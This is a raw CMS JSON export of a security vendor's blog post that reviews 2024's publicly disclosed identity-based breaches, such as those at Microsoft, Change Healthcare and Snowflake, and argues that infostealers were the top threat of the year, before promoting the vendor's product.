"data":148660,"content":148661,"nodeType":1616},{},[148662,148671,148680,148689,148698],{"data":148663,"content":148664,"nodeType":1570},{},[148665],{"data":148666,"content":148667,"nodeType":866},{},[148668],{"data":148669,"marks":148670,"value":132004,"nodeType":865},{},[],{"data":148672,"content":148673,"nodeType":1570},{},[148674],{"data":148675,"content":148676,"nodeType":866},{},[148677],{"data":148678,"marks":148679,"value":132014,"nodeType":865},{},[],{"data":148681,"content":148682,"nodeType":1570},{},[148683],{"data":148684,"content":148685,"nodeType":866},{},[148686],{"data":148687,"marks":148688,"value":132024,"nodeType":865},{},[],{"data":148690,"content":148691,"nodeType":1570},{},[148692],{"data":148693,"content":148694,"nodeType":866},{},[148695],{"data":148696,"marks":148697,"value":132034,"nodeType":865},{},[],{"data":148699,"content":148700,"nodeType":1570},{},[148701],{"data":148702,"content":148703,"nodeType":866},{},[148704],{"data":148705,"marks":148706,"value":132044,"nodeType":865},{},[],{"data":148708,"content":148709,"nodeType":866},{},[148710],{"data":148711,"marks":148712,"value":132051,"nodeType":865},{},[],{"data":148714,"content":148715,"nodeType":972},{},[],{"data":148717,"content":148718,"nodeType":981},{},[148719],{"data":148720,"marks":148721,"value":132061,"nodeType":865},{},[],{"data":148723,"content":148724,"nodeType":1317},{},[148725],{"data":148726,"marks":148727,"value":131568,"nodeType":865},{},[148728],{"type":926},{"data":148730,"content":148731,"nodeType":866},{},[148732,148735,148742],{"data":148733,"marks":148734,"value":21,"nodeType":865},{},[],{"data":148736,"content":148737,"nodeType":889},{"uri":132077},[148738],{"data":148739,"marks":148740,"value":132083,"nodeType":865},{},[148741],{"type":943},{"data":148743,"marks":148744,"value":132087,"nodeType":865},{},[],{"data":148746,"content":148747,"nodeType":866},{},[148748,148751,148758],{"data":148749,"marks":148750,"value":132094,"nodeType":865},{},[],{"data":148752,"content":148753,"nodeType":889},{"uri":132097},[148754],{"data":148755,"marks":148756,"value":132103,"nodeType":865},{},[148757],{"type":943},{"data":148759,"marks":148760,"value":132107,"nodeType":865},{},[],{"data":148762,"content":148763,"nodeType":866},{},[148764],{"data":148765,"marks":148766,"value":132114,"nodeType":865},{},[],{"data":148768,"content":148769,"nodeType":1317},{},[148770],{"data":148771,"marks":148772,"value":79801,"nodeType":865},{},[148773],{"type":926},{"data":148775,"content":148776,"nodeType":866},{},[148777],{"data":148778,"marks":148779,"value":132128,"nodeType":865},{},[],{"data":148781,"content":148782,"nodeType":866},{},[148783,148786,148794],{"data":148784,"marks":148785,"value":62364,"nodeType":865},{},[],{"data":148787,"content":148788,"nodeType":889},{"uri":62386},[148789],{"data":148790,"marks":148791,"value":132143,"nodeType":865},{},[148792,148793],{"type":943},{"type":926},{"data":148795,"marks":148796,"value":132147,"nodeType":865},{},[],{"data":148798,"content":148799,"nodeType":866},{},[148800],{"data":148801,"marks":148802,"value":132154,"nodeType":865},{},[],{"data":148804,"content":148805,"nodeType":866},{},[148806],{"data":148807,"marks":148808,"value":132161,"nodeType":865},{},[],{"data":148810,"content":148813,"nodeType":912},{"target":148811},{"sys":148812},{"id":123928,"type":909,"linkType":910},[],{"data":148815,"content":148818,"nodeType":912},{"target":148816},{"sys":148817},{"id":132171,"type":909,"linkType":910},[],{"data":148820,"content":148821,"nodeType":972},{},[],{"data":148823,"content":148824,"nodeType":981},{},[148825],{"data":148826,"marks":148827,"value":132182,"nodeType":865},{},[],{"data":148829,"content":148830,"nodeType":1317},{},[148831],{"data":148832,"marks":148833,"value":131568,"nodeType":865},{},[148834],{"type":926},{"data":148836,"content":148837,"nodeType":866},{},[148838],{"data":148839,"marks":148840,"value":132196,"nodeType":865},{},[],{"data":148842,"content":148843,"nodeType":866},{},[148844,148847,148854],{"data":148845,"marks":148846,"value":132203,"nodeType":865},{},[],{"data":148848,"content":148849,"nodeType":889},{"uri":132206},[148850],{"data":148851,"marks":148852,"value":132212,"nodeType":865},{},[148853],{"type":943},{"data":148855,"marks":148856,"value":132216,"nodeType":865},{},[],{"data":148858,"content":148859,"nodeType":7584},{},[148860],{"data":148861,"content":148862,"nodeType":866},{},[148863],{"data":148864,"marks":148865,"value":132226,"nodeType":865},{},[],{"data":148867,"content":148868,"nodeType":866},{},[148869,148872,148879],{"data":148870,"marks":148871,"value":132233,"nodeType":865},{},[],{"data":148873,"content":148874,"nodeType":889},{"uri":132077},[148875],{"data":148876,"marks":148877,"value":132241,"nodeType":865},{},[148878],{"type":943},{"data":148880,"marks":148881,"value":132245,"nodeType":865},{},[],{"data":148883,"content":148884,"nodeType":866},{},[148885],{"data":148886,"marks":148887,"value":132252,"nodeType":865},{},[],{"data":148889,"content":148890,"nodeType":866},{},[148891],{"data":148892,"marks":148893,"value":132259,"nodeType":865},{},[],{"data":148895,"content":148896,"nodeType":7584},{},[148897],{"data":148898,"content":148899,"nodeType":866},{},[148900],{"data":148901,"marks":148902,"value":132269,"nodeType":865},{},[],{"data":148904,"content":148905,"nodeType":1317},{},[148906],{"data":148907,"marks":148908,"value":79801,"nodeType":865},{},[148909],{"type":926},{"data":148911,"content":148912,"nodeType":866},{},[148913],{"data":148914,"marks":148915,"value":132283,"nodeType":865},{},[],{"data":148917,"content":148918,"nodeType":866},{},[148919,148922,148930],{"data":148920,"marks":148921,"value":132290,"nodeType":865},{},[],{"data":148923,"content":148924,"nodeType":889},{"uri":13526},[148925],{"data":148926,"marks":148927,"value":132299,"nodeType":865},{},[148928,148929],{"type":943},{"type":926},{"data":148931,"marks":148932,"value":132303,"nodeType":865},{},[],{"data":148934,"content":148937,"nodeType":912},{"target":148935},{"sys":148936},{"id":132308,"type":909,"linkType":910},[],{"data":148939,"content":148940,"nodeType":972},{},[],{"data":148942,"content":148943,"nodeType":981},{},[148944],{"data":148945,"marks":148946,"value":132319,"nodeType":865},{},[],{"data":148948,"content":148949,"nodeType":866},{},[148950],{"data":148951,"marks":148952,"value":132326,"nodeType":865},{},[],{"data":148954,"content":148955,"nodeType":866},{},[148956],{"data":148957,"marks":148958,"value":132333,"nodeType":865},{},[],{"data":148960,"content":148961,"nodeType":1616},{},[148962,148978,148994],{"data":148963,"content":148964,"nodeType":1570},{},[148965],{"data":148966,"content":148967,"nodeType":866},{},[148968,148971,148975],{"data":148969,"marks":148970,"value":132346,"nodeType":865},{},[],{"data":148972,"marks":148973,"value":132351,"nodeType":865},{},[148974],{"type":926},{"data":148976,"marks":148977,"value":132355,"nodeType":865},{},[],{"data":148979,"content":148980,"nodeType":1570},{},[148981],{"data":148982,"content":148983,"nodeType":866},{},[148984,148987,148991],{"data":148985,"marks":148986,"value":132365,"nodeType":865},{},[],{"data":148988,"marks":148989,"value":132370,"nodeType":865},{},[148990],{"type":926},{"data":148992,"marks":148993,"value":132374,"nodeType":865},{},[],{"data":148995,"content":148996,"nodeType":1570},{},[148997],{"data":148998,"content":148999,"nodeType":866},{},[149000,149003,149007,149010,149017],{"data":149001,"marks":149002,"value":132384,"nodeType":865},{},[],{"data":149004,"marks":149005,"value":132389,"nodeType":865},{},[149006],{"type":926},{"data":149008,"marks":149009,"value":132393,"nodeType":865},{},[],{"data":149011,"content":149012,"nodeType":889},{"uri":6710},[149013],{"data":149014,"marks":149015,"value":6715,"nodeType":865},{},[149016],{"type":943},{"data":149018,"marks":149019,"value":132404,"nodeType":865},{},[],{"data":149021,"content":149022,"nodeType":866},{},[149023],{"data":149024,"marks":149025,"value":132411,"nodeType":865},{},[],{"data":149027,"content":149028,"nodeType":866},{},[149029],{"data":149030,"marks":149031,"value":132418,"nodeType":865},{},[],{"data":149033,"content":149034,"nodeType":866},{},[149035],{"data":149036,"marks":149037,"value":132425,"nodeType":865},{},[],{"data":149039,"content":149040,"nodeType":1317},{},[149041],{"data":149042,"marks":149043,"value":132433,"nodeType":865},{},[149044],{"type":926},{"data":149046,"content":149047,"nodeType":866},{},[149048,149051,149059],{"data":149049,"marks":149050,"value":132440,"nodeType":865},{},[],{"data":149052,"content":149053,"nodeType":889},{"uri":132443},[149054],{"data":149055,"marks":149056,"value":132450,"nodeType":865},{},[149057,149058],{"type":943},{"type":926},{"data":149060,"marks":149061,"value":132454,"nodeType":865},{},[],{"data":149063,"content":149064,"nodeType":866},{},[149065],{"data":149066,"marks":149067,"value":132461,"nodeType":865},{},[],{"data":149069,"content":149072,"nodeType":912},{"target":149070},{"sys":149071},{"id":132466,"type":909,"linkType":910},[],{"data":149074,"content":149075,"nodeType":1317},{},[149076,149080],{"data":149077,"marks":149078,"value":132475,"nodeType":865},{},[149079],{"type":926},{"data":149081,"marks":149082,"value":2688,"nodeType":865},{},[],{"data":149084,"content":149085,"nodeType":866},{},[149086,149089,149097],{"data":149087,"marks":149088,"value":132485,"nodeType":865},{},[],{"data":149090,"content":149091,"nodeType":889},{"uri":132488},[149092],{"data":149093,"marks":149094,"value":132495,"nodeType":865},{},[149095,149096],{"type":943},{"type":926},{"data":149098,"marks":149099,"value":132499,"nodeType":865},{},[],{"data":149101,"content":149102,"nodeType":866},{},[149103],{"data":149104,"marks":149105,"value":132506,"nodeType":865},{},[],{"data":149107,"content":149108,"nodeType":1317},{},[149109],{"data":149110,"marks":149111,"value":132514,"nodeType":865},{},[149112],{"type":926},{"data":149114,"content":149115,"nodeType":866},{},[149116,149119,149127],{"data":149117,"marks":149118,"value":132521,"nodeType":865},{},[],{"data":149120,"content":149121,"nodeType":889},{"uri":132524},[149122],{"data":149123,"marks":149124,"value":58363,"nodeType":865},{},[149125,149126],{"type":943},{"type":926},{"data":149128,"marks":149129,"value":132534,"nodeType":865},{},[],{"data":149131,"content":149132,"nodeType":866},{},[149133],{"data":149134,"marks":149135,"value":132541,"nodeType":865},{},[],{"data":149137,"content":149138,"nodeType":866},{},[149139],{"data":149140,"marks":149141,"value":132548,"nodeType":865},{},[],{"data":149143,"content":149146,"nodeType":912},{"target":149144},{"sys":149145},{"id":132553,"type":909,"linkType":910},[],{"data":149148,"content":149149,"nodeType":972},{},[],{"data":149151,"content":149152,"nodeType":981},{},[149153],{"data":149154,"marks":149155,"value":132564,"nodeType":865},{},[],{"data":149157,"content":149158,"nodeType":866},{},[149159,149162,149168],{"data":149160,"marks":149161,"value":132571,"nodeType":865},{},[],{"data":149163,"content":149164,"nodeType":889},{"uri":16069},[149165],{"data":149166,"marks":149167,"value":132578,"nodeType":865},{},[],{"data":149169,"marks":149170,"value":132582,"nodeType":865},{},[],{"items":149172},[149173,149175],{"sys":149174,"name":342},{"id":4642},{"sys":149176,"name":297},{"id":2310},{"items":149178},[149179],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":149180},{"url":6503},{"__typename":1429,"sys":149182,"content":149183,"title":126565,"synopsis":149801,"hashTags":59,"publishedDate":149802,"slug":126566,"tagsCollection":149803,"authorsCollection":149807},{"id":126179},{"json":149184},{"data":149185,"content":149186,"nodeType":1382},{},[149187,149194,149201,149208,149227,149234,149241,149244,149252,149259,149266,149273,149279,149286,149289,149297,149304,149311,149318,149325,149331,149338,149341,149349,149357,149364,149371,149378,149397,149405,149412,149419,149426,149433,149441,149448,149455,149461,149464,149472,149479,149486,149493,149500,149507,149510,149518,149525,149532,149539,149546,149553,149662,149678,149685,149691,149694,149702,149709,149776,149783],{"data":149188,"content":149189,"nodeType":866},{},[149190],{"data":149191,"marks":149192,"value":149193,"nodeType":865},{},[],"2024 was an unprecedented year in terms of the impact of identity-based attacks. Or that’s what it felt like anyway, so I decided to trawl through a year of news to see if reality stacked up. ",{"data":149195,"content":149196,"nodeType":866},{},[149197],{"data":149198,"marks":149199,"value":149200,"nodeType":865},{},[],"My main obstacles here were the ever-disappointing levels of public information disclosure for cyber breaches. Even where breaches are disclosed, it’s rare that any public information contains the nature of the initial access vector (though I can’t say I’m surprised — it’s hard to argue the ‘highly sophisticated’ nature of a breach that involved stolen credentials and no MFA). ",{"data":149202,"content":149203,"nodeType":866},{},[149204],{"data":149205,"marks":149206,"value":149207,"nodeType":865},{},[],"Publicly disclosed breaches are just the tip of the iceberg, and with the rise in data theft and extortion over more disruptive attacks (e.g. ransomware), there is often no obvious service interruption indicating that an incident has taken place. This makes it more likely that these situations can be settled quietly or smoothed over, without hitting the headlines. ",{"data":149209,"content":149210,"nodeType":866},{},[149211,149215,149224],{"data":149212,"marks":149213,"value":149214,"nodeType":865},{},[],"That said, the requirement that US companies submit a Form-8K for breaches of a material nature does appear to have increased the number of voluntary declarations (inside the US, at least) and the growing willingness of the SEC to prosecute negligent or misleading behavior is also a considerable motivator, such as ",{"data":149216,"content":149218,"nodeType":889},{"uri":149217},"https://www.bleepingcomputer.com/news/security/sec-charges-tech-companies-for-downplaying-solarwinds-breaches/",[149219],{"data":149220,"marks":149221,"value":149223,"nodeType":865},{},[149222],{"type":943},"the recent prosecution of companies for misleading investors about the impact of the 2020 SolarWinds Orion hack",{"data":149225,"marks":149226,"value":1615,"nodeType":865},{},[],{"data":149228,"content":149229,"nodeType":866},{},[149230],{"data":149231,"marks":149232,"value":149233,"nodeType":865},{},[],"Despite all this, I totalled 30 breaches that were the result of an identity-based initial access vector, such as phishing, credential stuffing, social engineering, session hijacking, etc. To make the list, it had to have appeared in the public domain, confirmed by the victim or an authoritative source, and the breach vector had to have been named. ",{"data":149235,"content":149236,"nodeType":866},{},[149237],{"data":149238,"marks":149239,"value":149240,"nodeType":865},{},[],"Public identity-related breaches in 2024 resulted in hundreds of millions of breached customer records (with the final impact of many still yet to appear in the public domain).",{"data":149242,"content":149243,"nodeType":972},{},[],{"data":149245,"content":149246,"nodeType":981},{},[149247],{"data":149248,"marks":149249,"value":149251,"nodeType":865},{},[149250],{"type":926},"What is an identity attack?",{"data":149253,"content":149254,"nodeType":866},{},[149255],{"data":149256,"marks":149257,"value":149258,"nodeType":865},{},[],"First, what do we mean by identity attack? ",{"data":149260,"content":149261,"nodeType":866},{},[149262],{"data":149263,"marks":149264,"value":149265,"nodeType":865},{},[],"An identity attack is any attack (regardless of the steps that follow) involving identity-based techniques, such as phishing, credential stuffing, and session hijacking, to log into an account/service. Basically, where identity is the initial breach vector.",{"data":149267,"content":149268,"nodeType":866},{},[149269],{"data":149270,"marks":149271,"value":149272,"nodeType":865},{},[],"The length and complexity of the overall attack chain will vary. For example, a SaaS-based account takeover where the attacker logs in and dumps the data from the app is naturally going to be more direct than a scenario in which an identity-based compromise leads to the takeover of an endpoint or device in a traditional networking environment. ",{"data":149274,"content":149278,"nodeType":912},{"target":149275},{"sys":149276},{"id":149277,"type":909,"linkType":910},"SCbhb6dzXnaKUianhgLEL",[],{"data":149280,"content":149281,"nodeType":866},{},[149282],{"data":149283,"marks":149284,"value":149285,"nodeType":865},{},[],"In 2024, we’ve seen examples of both SaaS-based account takeover as well as identity attacks being used for initial access to more traditional networks, often resulting in ransomware deployment.",{"data":149287,"content":149288,"nodeType":972},{},[],{"data":149290,"content":149291,"nodeType":981},{},[149292],{"data":149293,"marks":149294,"value":149296,"nodeType":865},{},[149295],{"type":926},"Breakdown of public identity breaches in 2024",{"data":149298,"content":149299,"nodeType":866},{},[149300],{"data":149301,"marks":149302,"value":149303,"nodeType":865},{},[],"It’s always tricky to gauge the impact of a cyber breach, particularly when considering the limited information typically shared. Different types of breach are easier to assess than others — for example, any breach involving extortion/ransom payment has a clear cost associated. Regulator fines and penalties are also clear cut. But aside from these, you’re looking at the extent of any disruption/downtime, recovery costs, and the like. Long term, indirect impacts such as the loss of customer confidence are naturally tricky to estimate. ",{"data":149305,"content":149306,"nodeType":866},{},[149307],{"data":149308,"marks":149309,"value":149310,"nodeType":865},{},[],"However, many identity breaches don’t even have these metrics to go by. The general shift toward data theft only (as opposed to ransomware deployment) continued in 2024, and many of the public identity breaches reflect this. In these attacks, attackers steal data to extort a ransom payment, blackmail end-customers, and/or sell the data via underground criminal marketplaces. ",{"data":149312,"content":149313,"nodeType":866},{},[149314],{"data":149315,"marks":149316,"value":149317,"nodeType":865},{},[],"The one consistent metric we do have is the number of breached records, which is available in many (but not all) cases. Some organizations have attempted to calculate the financial impact per breached record. Most notably IBMs annual ‘Cost of a Data Breach’ report estimates the average data breach to cost $4.88m, and the cost per compromised record to be $169. But when applied to the sheer magnitude of 2024’s biggest attacks (in the region of hundreds of millions of breached records) the figures quickly reach unbelievable levels. ",{"data":149319,"content":149320,"nodeType":866},{},[149321],{"data":149322,"marks":149323,"value":149324,"nodeType":865},{},[],"All this is to say: It’s hard to pin down the relative impact of data breaches. But with the information available (profile of the victim organization, type of data impacted, number of customers impacted) it’s possible to provide a finger-in-the-air assessment — which is what I’ve attempted to do below. Here, we can see the overall month-by-month impact of public identity breaches, dated from when they were first reported (or using dates provided in said reports). ",{"data":149326,"content":149330,"nodeType":912},{"target":149327},{"sys":149328},{"id":149329,"type":909,"linkType":910},"2XYuNqLuKhZbISb4II9IW4",[],{"data":149332,"content":149333,"nodeType":866},{},[149334],{"data":149335,"marks":149336,"value":149337,"nodeType":865},{},[],"Let’s take a closer look at the most notable breaches (and why they were especially significant). ",{"data":149339,"content":149340,"nodeType":972},{},[],{"data":149342,"content":149343,"nodeType":981},{},[149344],{"data":149345,"marks":149346,"value":149348,"nodeType":865},{},[149347],{"type":926},"Top 3 public identity-related breaches in 2024",{"data":149350,"content":149351,"nodeType":1317},{},[149352],{"data":149353,"marks":149354,"value":149356,"nodeType":865},{},[149355],{"type":926},"#3: Microsoft — January 2024",{"data":149358,"content":149359,"nodeType":866},{},[149360],{"data":149361,"marks":149362,"value":149363,"nodeType":865},{},[],"The threat group known as APT29, associated with the Russian SVR intelligence service, utilized password spray attacks that successfully compromised a non-production tenant account that did not have multi-factor authentication (MFA) enabled. They then leveraged this account to compromise a ‘test’ OAuth application that had elevated access to the Microsoft corporate environment. This was then used to access the email accounts of Microsoft employees. ",{"data":149365,"content":149366,"nodeType":866},{},[149367],{"data":149368,"marks":149369,"value":149370,"nodeType":865},{},[],"The attacks then continued throughout the year using information stolen from Microsoft mailboxes, with password spraying attacks increasing tenfold since the initial attack, resulting in the further compromise of source code repositories. ",{"data":149372,"content":149373,"nodeType":866},{},[149374],{"data":149375,"marks":149376,"value":149377,"nodeType":865},{},[],"Microsoft has shared limited information about the breach, but despite this it caused a significant stir. We can expect the number of email accounts compromised to be significant, given that it was later suggested that at least 100 external organizations had been contacted by Microsoft regarding their communications being breached (we only know this because 100-ish organizations reported the email as spam). The list of companies impacted included both public and private sector organizations, from major enterprises to government agencies in the US and other countries. ",{"data":149379,"content":149380,"nodeType":866},{},[149381,149385,149393],{"data":149382,"marks":149383,"value":149384,"nodeType":865},{},[],"Microsoft’s challenges with credential management didn’t end here either, ",{"data":149386,"content":149387,"nodeType":889},{"uri":139406},[149388],{"data":149389,"marks":149390,"value":149392,"nodeType":865},{},[149391],{"type":943},"with bug bounty hunters able to use stolen credentials from a TI platform to breach Microsoft’s ServiceNow tenant",{"data":149394,"marks":149395,"value":149396,"nodeType":865},{},[],", accessing 1,000s of support ticket descriptions and attachments, and 250k+ employee emails.",{"data":149398,"content":149399,"nodeType":1317},{},[149400],{"data":149401,"marks":149402,"value":149404,"nodeType":865},{},[149403],{"type":926},"#2: Change Healthcare — February 2024",{"data":149406,"content":149407,"nodeType":866},{},[149408],{"data":149409,"marks":149410,"value":149411,"nodeType":865},{},[],"In February, attackers stole 6TB of data from UnitedHealth subsidiary Change Healthcare as part of a severe ransomware attack that caused massive disruption to the US healthcare industry. This impacted a wide range of critical services used by healthcare providers across the U.S., including payment processing, prescription writing, and insurance claims, and caused financial damages estimated at $872 million. The attack impacted the personal medical data of over 100M customers. ",{"data":149413,"content":149414,"nodeType":866},{},[149415],{"data":149416,"marks":149417,"value":149418,"nodeType":865},{},[],"The attacker used stolen credentials to breach the company's Citrix remote access service, which did not have multi-factor authentication enabled, as the initial breach vector for the attack. ",{"data":149420,"content":149421,"nodeType":866},{},[149422],{"data":149423,"marks":149424,"value":149425,"nodeType":865},{},[],"Following the attack, the organization's IT team replaced thousands of laptops, rotated credentials, and completely rebuilt Change Healthcare's data center network and core services.",{"data":149427,"content":149428,"nodeType":866},{},[149429],{"data":149430,"marks":149431,"value":149432,"nodeType":865},{},[],"The UnitedHealth Group admitted to paying a ransom demand to receive a decryptor and for the threat actors to delete the stolen data. The ransom payment was allegedly $22 million, according to the BlackCat ransomware affiliate who conducted the attack.",{"data":149434,"content":149435,"nodeType":1317},{},[149436],{"data":149437,"marks":149438,"value":149440,"nodeType":865},{},[149439],{"type":926},"#1: Snowflake — April-June 2024",{"data":149442,"content":149443,"nodeType":866},{},[149444],{"data":149445,"marks":149446,"value":149447,"nodeType":865},{},[],"165 organizations around the world were targeted using stolen credentials gathered from infostealer infections dating back to 2020. The impacted accounts lacked MFA, meaning successful authentication only required a valid username and password. As the Snowflake credentials found in infostealer malware credential dumps had not been rotated or updated, they remained valid and could be used to authenticate to user accounts on Snowflake tenants belonging to various customers. It has been touted by some news outlets as ‘one of the biggest breaches ever’. ",{"data":149449,"content":149450,"nodeType":866},{},[149451],{"data":149452,"marks":149453,"value":149454,"nodeType":865},{},[],"In total, nine public victims were named following the breach, collectively impacting hundreds of millions of their respective customers. Data was put up for sale on criminal forums for fees ranging from $150k to $2m per organization, while AT&T was also confirmed as paying an undisclosed ransom fee. ",{"data":149456,"content":149460,"nodeType":912},{"target":149457},{"sys":149458},{"id":149459,"type":909,"linkType":910},"68txz4KkLmCX2hF9QySUZs",[],{"data":149462,"content":149463,"nodeType":972},{},[],{"data":149465,"content":149466,"nodeType":981},{},[149467],{"data":149468,"marks":149469,"value":149471,"nodeType":865},{},[149470],{"type":926},"Identity attacks vs. other attacks in 2024",{"data":149473,"content":149474,"nodeType":866},{},[149475],{"data":149476,"marks":149477,"value":149478,"nodeType":865},{},[],"In many ways, 2024 was a year of identity attacks. The attacks on Snowflake customers was unarguably one of (if not the most) significant cyber security event of the year (at least, if you exclude CrowdStrike causing a worldwide outage in July) — certainly, it was the largest perpetrated by a criminal group against commercial enterprises. ",{"data":149480,"content":149481,"nodeType":866},{},[149482],{"data":149483,"marks":149484,"value":149485,"nodeType":865},{},[],"Arguably the biggest non-identity story of the year was the Chinese state-sponsored “Salt Typhoon” campaign against global telecommunications firms, with at least nine major providers compromised — including AT&T, Verizon, and T-Mobile. The group reportedly focused on infiltrating telecommunications infrastructure to steal text messages, phone call information, and voicemails from targeted people. The threat actors also targeted the wiretapping platforms used by the US government, raising serious national security concerns.",{"data":149487,"content":149488,"nodeType":866},{},[149489],{"data":149490,"marks":149491,"value":149492,"nodeType":865},{},[],"Undoubtedly this was one of the biggest intelligence compromises in US history and is of major significance. But it’s also arguable that identity attacks had a more widespread commercial impact in 2024 when we look at the big picture.   ",{"data":149494,"content":149495,"nodeType":866},{},[149496],{"data":149497,"marks":149498,"value":149499,"nodeType":865},{},[],"Attacks on edge networking devices were also incredibly prominent, as were very much interlinked with the targeting of telecommunications infrastructure. A barrage of 0-days generated a huge amount of concern about the software security practices of many vendors. ",{"data":149501,"content":149502,"nodeType":866},{},[149503],{"data":149504,"marks":149505,"value":149506,"nodeType":865},{},[],"But despite these honorable mentions, the runaway threat of the year was an identity-based one… ",{"data":149508,"content":149509,"nodeType":972},{},[],{"data":149511,"content":149512,"nodeType":981},{},[149513],{"data":149514,"marks":149515,"value":149517,"nodeType":865},{},[149516],{"type":926},"Threat of the year: Infostealers",{"data":149519,"content":149520,"nodeType":866},{},[149521],{"data":149522,"marks":149523,"value":149524,"nodeType":865},{},[],"2024 saw an unprecedented rise in the role of infostealers. The played a huge role in the attacks on Snowflake customers, where 80% of the accounts were targeted using credentials found in infostealer infections. ",{"data":149526,"content":149527,"nodeType":866},{},[149528],{"data":149529,"marks":149530,"value":149531,"nodeType":865},{},[],"News relating to new infostealer variants and distributions campaigns came thick and fast in 2024, as attackers sought to harvest credentials from victims to use as part of their own malicious campaigns, or to sell on to other criminals on underground marketplaces for compromised credentials. Attackers leaned into alternative distribution channels, branching away from email-based campaigns to target victims via gaming forums, Facebook ads, and YouTube video descriptions. GitHub was also continuously targeted as a malware distribution mechanism throughout the year — and the majority of the time it was to push infostealers. ",{"data":149533,"content":149534,"nodeType":866},{},[149535],{"data":149536,"marks":149537,"value":149538,"nodeType":865},{},[],"Infostealers are the weapon of choice for attackers looking to harvest credentials at scale. Compared to credential harvesting phishing campaigns, infostealers target a much broader range of credentials, taking everything saved in the victim’s browser (and often also from local apps, including password managers).",{"data":149540,"content":149541,"nodeType":866},{},[149542],{"data":149543,"marks":149544,"value":149545,"nodeType":865},{},[],"Infostealers are nothing new, but have historically been seen as a problem affecting less secure personal devices and accounts. But 2024 has demonstrated that infostealers are finding ways to harvest business data — by finding ways around controls like EDR, and because of the ways that personal and business identities and accounts are converging in the modern workplace. For example, it’s not uncommon for employees to log into their personal Google account on their work device (and vice versa), inadvertently saving corporate credentials to their personal password store — which is later compromised through an infostealer infection on a personal device. ",{"data":149547,"content":149548,"nodeType":866},{},[149549],{"data":149550,"marks":149551,"value":149552,"nodeType":865},{},[],"The impact of infostealers (and the resulting stolen credentials and session cookies) is underlined by various figures:",{"data":149554,"content":149555,"nodeType":1616},{},[149556,149576,149598,149620,149640],{"data":149557,"content":149558,"nodeType":1570},{},[149559],{"data":149560,"content":149561,"nodeType":866},{},[149562,149566,149573],{"data":149563,"marks":149564,"value":149565,"nodeType":865},{},[],"79% of web application compromises were the result of breached credentials (",{"data":149567,"content":149568,"nodeType":889},{"uri":4147},[149569],{"data":149570,"marks":149571,"value":53721,"nodeType":865},{},[149572],{"type":943},{"data":149574,"marks":149575,"value":46245,"nodeType":865},{},[],{"data":149577,"content":149578,"nodeType":1570},{},[149579],{"data":149580,"content":149581,"nodeType":866},{},[149582,149586,149595],{"data":149583,"marks":149584,"value":149585,"nodeType":865},{},[],"Infostealer activity increased by 266% in 2023, while the number of attacks featuring valid credentials saw a 71% increase year-over-year (",{"data":149587,"content":149589,"nodeType":889},{"uri":149588},"https://www.ibm.com/downloads/cas/L0GKXDWJ",[149590],{"data":149591,"marks":149592,"value":149594,"nodeType":865},{},[149593],{"type":943},"IBM",{"data":149596,"marks":149597,"value":46245,"nodeType":865},{},[],{"data":149599,"content":149600,"nodeType":1570},{},[149601],{"data":149602,"content":149603,"nodeType":866},{},[149604,149608,149617],{"data":149605,"marks":149606,"value":149607,"nodeType":865},{},[],"Nearly half of the malware detected last year targeted victims’ data specifically, and the majority of that malware was classified as infostealers (",{"data":149609,"content":149611,"nodeType":889},{"uri":149610},"https://news.sophos.com/en-us/2024/03/12/2024-sophos-threat-report/",[149612],{"data":149613,"marks":149614,"value":149616,"nodeType":865},{},[149615],{"type":943},"Sophos",{"data":149618,"marks":149619,"value":46245,"nodeType":865},{},[],{"data":149621,"content":149622,"nodeType":1570},{},[149623],{"data":149624,"content":149625,"nodeType":866},{},[149626,149630,149637],{"data":149627,"marks":149628,"value":149629,"nodeType":865},{},[],"39,000 session token attacks are detected per day (",{"data":149631,"content":149632,"nodeType":889},{"uri":131785},[149633],{"data":149634,"marks":149635,"value":8641,"nodeType":865},{},[149636],{"type":943},{"data":149638,"marks":149639,"value":46245,"nodeType":865},{},[],{"data":149641,"content":149642,"nodeType":1570},{},[149643],{"data":149644,"content":149645,"nodeType":866},{},[149646,149650,149659],{"data":149647,"marks":149648,"value":149649,"nodeType":865},{},[],"Attacks on session cookies happen at the same rough order of magnitude as password-based attacks (",{"data":149651,"content":149653,"nodeType":889},{"uri":149652},"https://github.com/WICG/dbsc/issues/13#issuecomment-1977657864",[149654],{"data":149655,"marks":149656,"value":149658,"nodeType":865},{},[149657],{"type":943},"Google",{"data":149660,"marks":149661,"value":46245,"nodeType":865},{},[],{"data":149663,"content":149664,"nodeType":866},{},[149665,149669,149674],{"data":149666,"marks":149667,"value":149668,"nodeType":865},{},[],"And of the confirmed identity-based breaches in the public domain that we identified, ",{"data":149670,"marks":149671,"value":149673,"nodeType":865},{},[149672],{"type":926},"a whopping 73% were the result of compromised credentials ",{"data":149675,"marks":149676,"value":149677,"nodeType":865},{},[],"(the rest were phishing attacks). ",{"data":149679,"content":149680,"nodeType":866},{},[149681],{"data":149682,"marks":149683,"value":149684,"nodeType":865},{},[],"As the primary source of compromised credentials, it’s fair to say that infostealers deserve the top spot for 2024.",{"data":149686,"content":149690,"nodeType":912},{"target":149687},{"sys":149688},{"id":149689,"type":909,"linkType":910},"7mMQEYQTXKAajIGFviDJKt",[],{"data":149692,"content":149693,"nodeType":972},{},[],{"data":149695,"content":149696,"nodeType":981},{},[149697],{"data":149698,"marks":149699,"value":149701,"nodeType":865},{},[149700],{"type":926},"Defend against infostealers with Push",{"data":149703,"content":149704,"nodeType":866},{},[149705],{"data":149706,"marks":149707,"value":149708,"nodeType":865},{},[],"As a browser-based identity security platform designed to stop identity attacks, Push helps organizations to defend against the rise in infostealers by:",{"data":149710,"content":149711,"nodeType":1616},{},[149712,149745,149766],{"data":149713,"content":149714,"nodeType":1570},{},[149715],{"data":149716,"content":149717,"nodeType":866},{},[149718,149721,149729,149733,149741],{"data":149719,"marks":149720,"value":21,"nodeType":865},{},[],{"data":149722,"content":149723,"nodeType":889},{"uri":13526},[149724],{"data":149725,"marks":149726,"value":149728,"nodeType":865},{},[149727],{"type":943},"Alerting you whenever the valid credentials your employees are using appear in a compromised credential data feed",{"data":149730,"marks":149731,"value":149732,"nodeType":865},{},[],", which can be leveraged to ",{"data":149734,"content":149735,"nodeType":889},{"uri":131722},[149736],{"data":149737,"marks":149738,"value":149740,"nodeType":865},{},[149739],{"type":943},"trigger automated password resets",{"data":149742,"marks":149743,"value":149744,"nodeType":865},{},[]," whenever an event fires and is received by your SIEM 